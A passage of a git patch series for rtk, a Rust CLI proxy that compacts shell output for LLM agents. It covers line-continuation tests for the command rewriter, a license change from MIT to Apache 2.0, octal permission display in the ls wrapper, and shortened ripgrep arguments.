tail && rtk git status".into()) ); } + + // --- line-continuation handling (issue #1564) ------------------- + + #[test] + fn test_rewrite_leading_backslash_newline() { + // The exact reproduction from #1564: a leading `\` made + // the matcher see `\` as the command and bail out. + assert_eq!( + rewrite_command("\\\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_leading_backslash_crlf() { + // CRLF line ending — same shape, Windows shells / Git Bash. + assert_eq!( + rewrite_command("\\\r\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_internal_backslash_newline() { + // Embedded line continuation between subcommand and args: + // `git diff \HEAD~1` is exactly equivalent to + // `git diff HEAD~1` per bash semantics. + assert_eq!( + rewrite_command("git diff \\\nHEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_backslash_newline_with_indent() { + // Continuation followed by indentation — also collapsed. + assert_eq!( + rewrite_command("git \\\n diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_no_line_continuation_unchanged() { + // Sanity check: a command without any `\` should match + // unchanged. This pins that the normalization step does not + // regress the no-op fast path. + assert_eq!( + rewrite_command("git diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_collapse_line_continuations_no_op() { + // Helper-level: no continuations → returns Borrowed (no + // allocation). We can only spot-check the equality here, but + // the `Cow::Borrowed` variant is implied by `replace_all` + // when no replacement occurs. + assert_eq!( + collapse_line_continuations("git diff HEAD~1"), + std::borrow::Cow::::Borrowed("git diff HEAD~1"), + ); + } } From 1875945bf32b3cc8f7f4c8da81427e17ded74c7f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 09:42:06 +0200 Subject: [PATCH 151/204] fix(pkg): rtk is Apache 2.0 and no MIT --- Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..0b5b820140 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ version = "0.40.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" -license = "MIT" +license = "Apache 2.0" homepage = "https://www.rtk-ai.app" repository = "https://github.com/rtk-ai/rtk" readme = "README.md" From 9bbc7bb79e702ada58f5cfe2499d441715aa6bbd Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 12:13:43 +0200 Subject: [PATCH 152/204] fix(docs): replace remaining MIT license references with Apache 2.0 --- Formula/rtk.rb | 2 +- README_es.md | 4 ++-- README_fr.md | 4 ++-- README_ja.md | 4 ++-- README_ko.md | 4 ++-- README_zh.md | 4 ++-- openclaw/README.md | 2 +- openclaw/openclaw.plugin.json | 2 +- openclaw/package.json | 2 +- 9 files changed, 14 insertions(+), 14 deletions(-) diff --git a/Formula/rtk.rb b/Formula/rtk.rb index 25a8b2e8a2..34c27f9fb1 100644 --- a/Formula/rtk.rb +++ b/Formula/rtk.rb @@ -7,7 +7,7 @@ class Rtk < Formula desc "High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version "0.1.0" - license "MIT" + license "Apache-2.0" on_macos do on_intel do diff --git a/README_es.md b/README_es.md index 751bd1ba84..10a6a53a5b 100644 --- a/README_es.md +++ b/README_es.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -158,7 +158,7 @@ Unete a la comunidad en [Discord](https://discord.gg/RySmvNF5kF). ## Licencia -Licencia MIT - ver [LICENSE](LICENSE) para detalles. +Licencia Apache 2.0 - ver [LICENSE](LICENSE) para detalles. ## Descargo de responsabilidad diff --git a/README_fr.md b/README_fr.md index d305feaafd..2de284100f 100644 --- a/README_fr.md +++ b/README_fr.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -195,7 +195,7 @@ Rejoignez la communaute sur [Discord](https://discord.gg/RySmvNF5kF). ## Licence -Licence MIT - voir [LICENSE](LICENSE) pour les details. +Licence Apache 2.0 - voir [LICENSE](LICENSE) pour les details. ## Avertissement diff --git a/README_ja.md b/README_ja.md index 23bf4412ff..ce946d6288 100644 --- a/README_ja.md +++ b/README_ja.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 見逃した節約機会を発見 ## ライセンス -MIT ライセンス - 詳細は [LICENSE](LICENSE) を参照。 +Apache 2.0 ライセンス - 詳細は [LICENSE](LICENSE) を参照。 ## 免責事項 diff --git a/README_ko.md b/README_ko.md index a07a4590a2..c969e0ed24 100644 --- a/README_ko.md +++ b/README_ko.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 놓친 절약 기회 발견 ## 라이선스 -MIT 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. +Apache 2.0 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. ## 면책 조항 diff --git a/README_zh.md b/README_zh.md index 854ca23140..ef8c53b108 100644 --- a/README_zh.md +++ b/README_zh.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -165,7 +165,7 @@ rtk discover # 发现遗漏的节省机会 ## 许可证 -MIT 许可证 - 详见 [LICENSE](LICENSE)。 +Apache 2.0 许可证 - 详见 [LICENSE](LICENSE)。 ## 免责声明 diff --git a/openclaw/README.md b/openclaw/README.md index 301d7c0fad..480ec856fc 100644 --- a/openclaw/README.md +++ b/openclaw/README.md @@ -83,4 +83,4 @@ Handled by `rtk rewrite` guards: ## License -MIT -- same as RTK. +Apache 2.0 -- same as RTK. diff --git a/openclaw/openclaw.plugin.json b/openclaw/openclaw.plugin.json index 3fce418d79..e08d11ba1c 100644 --- a/openclaw/openclaw.plugin.json +++ b/openclaw/openclaw.plugin.json @@ -4,7 +4,7 @@ "version": "1.0.0", "description": "Transparently rewrites shell commands to their RTK equivalents for 60-90% LLM token savings", "homepage": "https://github.com/rtk-ai/rtk", - "license": "MIT", + "license": "Apache-2.0", "configSchema": { "type": "object", "additionalProperties": false, diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..aa0b099f61 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -3,7 +3,7 @@ "version": "1.0.0", "description": "RTK plugin for OpenClaw — rewrites shell commands for 60-90% LLM token savings", "main": "index.ts", - "license": "MIT", + "license": "Apache-2.0", "repository": { "type": "git", "url": "https://github.com/rtk-ai/rtk", From 6c4dfc727af0423318bf21a66d53474089d25bf4 Mon Sep 17 00:00:00 2001 From: Ryan A <7192401+ryana-0154@users.noreply.github.com> Date: Mon, 25 May 2026 12:46:23 +0100 Subject: [PATCH 153/204] fix(ls): preserve permission info as octal when -l/-la is passed Closes #1672 Co-Authored-By: Claude Opus 4.7 (1M context) --- src/cmds/system/ls.rs | 224 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 185 insertions(+), 39 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index b96f84876f..2c4bc67908 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -24,6 +24,19 @@ pub fn run(args: &[String], verbose: u8) -> Result { .iter() .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); + // Per `man ls`, the long listing is triggered by `-l` and also implied by + // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve + // permission info as octal. + let show_long = args.iter().any(|a| { + if a == "--full-time" { + return true; + } + if a.starts_with('-') && !a.starts_with("--") { + return a.chars().any(|c| matches!(c, 'l' | 'g' | 'n' | 'o')); + } + false + }); + let flags: Vec<&str> = args .iter() .filter(|a| a.starts_with('-')) @@ -74,7 +87,7 @@ pub fn run(args: &[String], verbose: u8) -> Result { "ls", &format!("-la {}", target_display), |raw| { - let (entries, summary, parsed_count) = compact_ls(raw, show_all); + let (entries, summary, parsed_count) = compact_ls(raw, show_all, show_long); // If no lines were parsed (e.g., unrecognized locale), fall back to raw output. // This is safer than returning "(empty)" for a non-empty directory. @@ -124,14 +137,17 @@ fn human_size(bytes: u64) -> String { } } -/// Parse a single `ls -la` line, returning `(file_type_char, size, name)`. +/// Parse a single `ls -la` line, returning `(file_type_char, perms, size, name)`. +/// +/// `perms` is the raw 10-char string from ls (e.g. `-rw-r--r--`); use +/// [`perms_to_octal`] to render it. /// /// Uses the date field as a stable anchor — the date format in `ls -la` is /// always three tokens (`Mon DD HH:MM` or `Mon DD YYYY`), so we locate it /// with a regex, then extract size (rightmost number before the date) and /// filename (everything after the date). This handles owner/group names that /// contain spaces, which break the old fixed-column approach. -fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { +fn parse_ls_line(line: &str) -> Option<(char, String, u64, String)> { // Skip . and .. entries before date parsing (works for non-English locales too) if is_dotdir(line) { return None; @@ -146,7 +162,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { return None; } - let perms = before_parts[0]; + let perms = before_parts[0].to_string(); let file_type = perms.chars().next()?; // Size is the rightmost parseable number before the date. @@ -160,7 +176,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { } } - Some((file_type, size, name)) + Some((file_type, perms, size, name)) } /// Returns true if the line represents a . or .. directory entry. @@ -173,17 +189,60 @@ fn is_dotdir(line: &str) -> bool { line.trim().ends_with('.') || line.trim().ends_with("..") } -/// Parse ls -la output into compact format: -/// name/ (dirs) -/// name size (files) +/// Convert an `ls`-style permission string (e.g. `-rw-r--r--`, `drwxr-xr-x`, +/// `-rwsr-xr-t`) into octal notation (e.g. `644`, `755`, `4755`). +/// +/// Returns `None` if the input does not look like a permission field. +/// Special bits (setuid/setgid/sticky) are encoded as a leading 4th digit when +/// any are set; otherwise we emit a 3-digit value to stay compact. +fn perms_to_octal(perms: &str) -> Option { + if perms.len() < 10 || !perms.is_ascii() { + return None; + } + let b = perms.as_bytes(); + + fn perm_value(read: bool, write: bool, exec: bool) -> u32 { + ((read as u32) << 2) | ((write as u32) << 1) | (exec as u32) + } + + let owner_x = matches!(b[3], b'x' | b's'); + let group_x = matches!(b[6], b'x' | b's'); + let other_x = matches!(b[9], b'x' | b't'); + + let owner = perm_value(b[1] == b'r', b[2] == b'w', owner_x); + let group = perm_value(b[4] == b'r', b[5] == b'w', group_x); + let other = perm_value(b[7] == b'r', b[8] == b'w', other_x); + + let setuid = matches!(b[3], b's' | b'S'); + let setgid = matches!(b[6], b's' | b'S'); + let sticky = matches!(b[9], b't' | b'T'); + let special = perm_value(setuid, setgid, sticky); + + if special > 0 { + Some(format!("{}{}{}{}", special, owner, group, other)) + } else { + Some(format!("{}{}{}", owner, group, other)) + } +} + +/// Parse ls -la output into compact format. +/// +/// Without `show_long`: +/// name/ (dirs) +/// name size (files) +/// +/// With `show_long` (user passed `-l`): +/// 755 name/ (dirs) +/// 644 name size (files) +/// /// Returns (entries, summary, parsed_count) so caller can suppress summary when piped. /// parsed_count tracks how many non-header lines were successfully parsed. /// If parsed_count == 0 but raw had content, caller should fall back to raw output. -fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { +fn compact_ls(raw: &str, show_all: bool, show_long: bool) -> (String, String, usize) { use std::collections::HashMap; - let mut dirs: Vec = Vec::new(); - let mut files: Vec<(String, String)> = Vec::new(); // (name, size) + let mut dirs: Vec<(String, Option)> = Vec::new(); // (name, octal_perms) + let mut files: Vec<(String, String, Option)> = Vec::new(); // (name, size, octal_perms) let mut by_ext: HashMap = HashMap::new(); let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; @@ -195,7 +254,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { } lines_seen += 1; - let Some((file_type, size, name)) = parse_ls_line(line) else { + let Some((file_type, perms, size, name)) = parse_ls_line(line) else { if is_dotdir(line) { dotdirs += 1; } @@ -208,8 +267,16 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { continue; } + // Only parse perms when the user actually wants the long listing — + // skip the work otherwise. + let octal = if show_long { + perms_to_octal(&perms) + } else { + None + }; + if file_type == 'd' { - dirs.push(name); + dirs.push((name, octal)); } else { // Regular files, symlinks, character/block devices, pipes, sockets let ext = if let Some(pos) = name.rfind('.') { @@ -218,7 +285,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { "no ext".to_string() }; *by_ext.entry(ext).or_insert(0) += 1; - files.push((name, human_size(size))); + files.push((name, human_size(size), octal)); } } @@ -237,13 +304,21 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut entries = String::new(); // Dirs first, compact - for d in &dirs { - entries.push_str(d); + for (name, octal) in &dirs { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } + entries.push_str(name); entries.push_str("/\n"); } // Files with size - for (name, size) in &files { + for (name, size, octal) in &files { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } entries.push_str(name); entries.push_str(" "); entries.push_str(size); @@ -286,7 +361,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 README.md\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("src/")); assert!(entries.contains("Cargo.toml")); assert!(entries.contains("README.md")); @@ -307,7 +382,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 target\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 main.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(!entries.contains("node_modules")); assert!(!entries.contains(".git")); assert!(!entries.contains("target")); @@ -320,7 +395,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 .git\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n"; - let (entries, _summary, _) = compact_ls(input, true); + let (entries, _summary, _parsed) = compact_ls(input, true, false); assert!(entries.contains(".git/")); assert!(entries.contains("src/")); } @@ -328,7 +403,7 @@ mod tests { #[test] fn test_compact_empty() { let input = "total 0\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); } @@ -338,7 +413,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user user 4096 1月 1 12:00 .\n\ drwxr-xr-x 16 user user 20480 1月 1 12:00 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -349,7 +424,7 @@ mod tests { let input = "total 0\n\ drwxr-xr-x 2 lumin wheel 64 Apr 23 00:37 .\n\ drwxr-xr-x 16 root wheel 164576 Apr 23 00:37 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -362,7 +437,7 @@ mod tests { -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 Cargo.toml\n"; - let (_entries, summary, _) = compact_ls(input, false); + let (_entries, summary, _parsed) = compact_ls(input, false, false); assert!(summary.contains("Summary: 3 files, 1 dirs")); assert!(summary.contains(".rs")); assert!(summary.contains(".toml")); @@ -382,7 +457,7 @@ mod tests { fn test_compact_handles_filenames_with_spaces() { let input = "total 8\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 my file.txt\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("my file.txt")); } @@ -390,7 +465,7 @@ mod tests { fn test_compact_symlinks() { let input = "total 8\n\ lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("link -> target")); } @@ -400,7 +475,7 @@ mod tests { let input = "total 48\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert!( !entries.contains("Summary:"), "entries must not contain summary" @@ -419,7 +494,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); let line_count = entries.lines().count(); assert_eq!( line_count, 3, @@ -434,7 +509,7 @@ mod tests { let input = "total 8\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 1234 Mar 31 16:18 data.json\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("empty.txt"), "should contain 'empty.txt', got: {entries}" @@ -462,7 +537,7 @@ mod tests { // Some systems show year instead of time for old files let input = "total 8\n\ -rw-r--r-- 1 user staff 5678 Dec 25 2024 archive.tar\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("archive.tar"), "should contain filename, got: {entries}" @@ -472,38 +547,42 @@ mod tests { #[test] fn test_parse_ls_line_basic() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 1234); assert_eq!(name, "file.txt"); } #[test] fn test_parse_ls_line_multiline_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt") .unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 0); assert_eq!(name, "empty.txt"); } #[test] fn test_parse_ls_line_dir_with_space_in_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir") .unwrap(); assert_eq!(ft, 'd'); + assert_eq!(perms, "drwxr-xr-x"); assert_eq!(size, 64); assert_eq!(name, "my dir"); } #[test] fn test_parse_ls_line_symlink() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target").unwrap(); assert_eq!(ft, 'l'); + assert_eq!(perms, "lrwxr-xr-x"); assert_eq!(size, 10); assert_eq!(name, "link -> target"); } @@ -513,7 +592,7 @@ mod tests { // Regression test for #844: `rtk ls /dev/ttyACM*` returned "(empty)" // because character devices (type 'c') were not handled by compact_ls. let input = "crw-rw---- 1 root dialout 166, 0 Apr 22 09:46 /dev/ttyACM0\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/ttyACM0"), "should contain device file, got: {entries}" @@ -525,7 +604,7 @@ mod tests { fn test_compact_device_files_macos_hex_size() { // macOS shows device major/minor as hex (e.g. 0x2000000) let input = "crw-rw-rw- 1 root wheel 0x2000000 Mar 31 19:25 /dev/tty\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/tty"), "should contain device file, got: {entries}" @@ -535,7 +614,7 @@ mod tests { #[test] fn test_compact_block_device() { let input = "brw-rw---- 1 root disk 8, 0 Apr 22 09:46 /dev/sda\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/sda"), "should contain block device, got: {entries}" @@ -549,19 +628,86 @@ mod tests { #[test] fn test_parse_ls_line_year_format() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 5678); assert_eq!(name, "old.tar.gz"); } + #[test] + fn test_perms_to_octal_common() { + assert_eq!(perms_to_octal("-rw-r--r--").as_deref(), Some("644")); + assert_eq!(perms_to_octal("-rwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("drwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("-rw-------").as_deref(), Some("600")); + assert_eq!(perms_to_octal("-rwxrwxrwx").as_deref(), Some("777")); + assert_eq!(perms_to_octal("----------").as_deref(), Some("000")); + assert_eq!(perms_to_octal("lrwxr-xr-x").as_deref(), Some("755")); + } + + #[test] + fn test_perms_to_octal_special_bits() { + // setuid + 755 -> 4755 + assert_eq!(perms_to_octal("-rwsr-xr-x").as_deref(), Some("4755")); + // setuid without execute -> 4644 + assert_eq!(perms_to_octal("-rwSr--r--").as_deref(), Some("4644")); + // setgid + 755 -> 2755 + assert_eq!(perms_to_octal("-rwxr-sr-x").as_deref(), Some("2755")); + // sticky bit on /tmp-style dir -> 1777 + assert_eq!(perms_to_octal("drwxrwxrwt").as_deref(), Some("1777")); + // setuid + setgid + sticky + assert_eq!(perms_to_octal("-rwsrwsrwt").as_deref(), Some("7777")); + } + + #[test] + fn test_perms_to_octal_garbage() { + assert_eq!(perms_to_octal(""), None); + assert_eq!(perms_to_octal("short"), None); + } + + #[test] + fn test_compact_long_format_includes_octal() { + let input = "total 48\n\ + drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ + -rwxr-xr-x 1 user staff 500 Jan 1 12:00 build.sh\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, true); + assert!( + entries.contains("755 src/"), + "dir should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("644 Cargo.toml 1.2K"), + "file should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("755 build.sh 500B"), + "executable should show 755, got: {entries}" + ); + } + + #[test] + fn test_compact_short_format_omits_octal() { + // Without -l, no octal prefix even though we still parse `ls -la` + // under the hood. + let input = "total 48\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, false); + assert!( + !entries.contains("644"), + "short format must not include octal perms, got: {entries}" + ); + assert!(entries.contains("Cargo.toml")); + } + #[test] fn test_compact_chinese_locale_fallback() { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 1月 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 1月 1 12:00 main.rs\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert!(entries.is_empty()); assert!(summary.is_empty()); From 53b5e79561fdf98f09db0b5b2006ec838fcd06f5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:12:16 +0200 Subject: [PATCH 154/204] feat: prefer short args and cleanup comments --- src/cmds/system/grep_cmd.rs | 27 ++++++++------------------- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index dbd61364a4..3f7d9a3276 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,19 +33,10 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - // - // -H: force rg to always include the filename, even for single-file searches. - // --null: separate file from line:content with a NUL byte so the parser is - // unambiguous even when the filename or content contains `:digits:` - // patterns (issue #1436). - rg_cmd.args([ - "-nH", - "--no-heading", - "--null", - "--no-ignore-vcs", - &rg_pattern, - path, - ]); + // -H: always emit the filename. + // -0: NUL-separate filename. Allows the parser to disambiguate filenames or + // content containing `:digits:` patterns (issue #1436). + rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -62,9 +53,7 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename; -Z: NUL-separate filename from - // line:content so the parser can disambiguate even for filenames - // or content containing `:digits:` (parity with rg's --null). + // When we fall back to grep, include all args, not just -rnHZ. grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) @@ -173,9 +162,9 @@ pub fn run( /// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` -/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot -/// appear in file paths, so the parser is unambiguous regardless of: +/// Requires the underlying command to be invoked with `-0` (rg) or `-Z` (grep) +/// so the filename is NUL-separated from `line:content`. NUL cannot appear in +/// file paths, so the parser is unambiguous regardless of: /// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); /// - paths with embedded `:` (Windows drive letters, weird filenames like /// `badly_named:52:file.txt`). From 8fcc0dc56c0bbcdf0508bbf72897085348884fd5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:55:32 +0200 Subject: [PATCH 155/204] fix: handle GNU `--format=long` and `--format=verbose` long args --- src/cmds/system/ls.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 2c4bc67908..98eb364479 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -25,10 +25,10 @@ pub fn run(args: &[String], verbose: u8) -> Result { .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); // Per `man ls`, the long listing is triggered by `-l` and also implied by - // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve - // permission info as octal. + // `-g`, `-n`, `-o`, `--full-time` or GNU `--format=long` and `--format=verbose`. + // In any of those cases we preserve permission info as octal. let show_long = args.iter().any(|a| { - if a == "--full-time" { + if a == "--full-time" || a == "--format=long" || a == "--format=verbose" { return true; } if a.starts_with('-') && !a.starts_with("--") { From 42ac86ce2f5bedb011f84532c2112cd5093500ab Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Sun, 24 May 2026 19:14:56 -0700 Subject: [PATCH 156/204] fix(hook): use maintainer regex suggestion for line continuation Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index ecccc1d6f2..46f28f2342 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -450,7 +450,7 @@ lazy_static! { /// trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = - Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); + Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } /// Replace every bash line continuation with a single space, mirroring From 0ec99de8f4ef102c10a827b57636278080e2f3cf Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Mon, 25 May 2026 06:16:18 -0700 Subject: [PATCH 157/204] fix(tests): use rewrite_command_no_prefixes in line-continuation tests Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index 46f28f2342..df1d500475 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -3919,7 +3919,7 @@ mod tests { // The exact reproduction from #1564: a leading `\` made // the matcher see `\` as the command and bail out. assert_eq!( - rewrite_command("\\\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3928,7 +3928,7 @@ mod tests { fn test_rewrite_leading_backslash_crlf() { // CRLF line ending — same shape, Windows shells / Git Bash. assert_eq!( - rewrite_command("\\\r\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\r\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3939,7 +3939,7 @@ mod tests { // `git diff \HEAD~1` is exactly equivalent to // `git diff HEAD~1` per bash semantics. assert_eq!( - rewrite_command("git diff \\\nHEAD~1", &[]), + rewrite_command_no_prefixes("git diff \\\nHEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3948,7 +3948,7 @@ mod tests { fn test_rewrite_backslash_newline_with_indent() { // Continuation followed by indentation — also collapsed. assert_eq!( - rewrite_command("git \\\n diff HEAD~1", 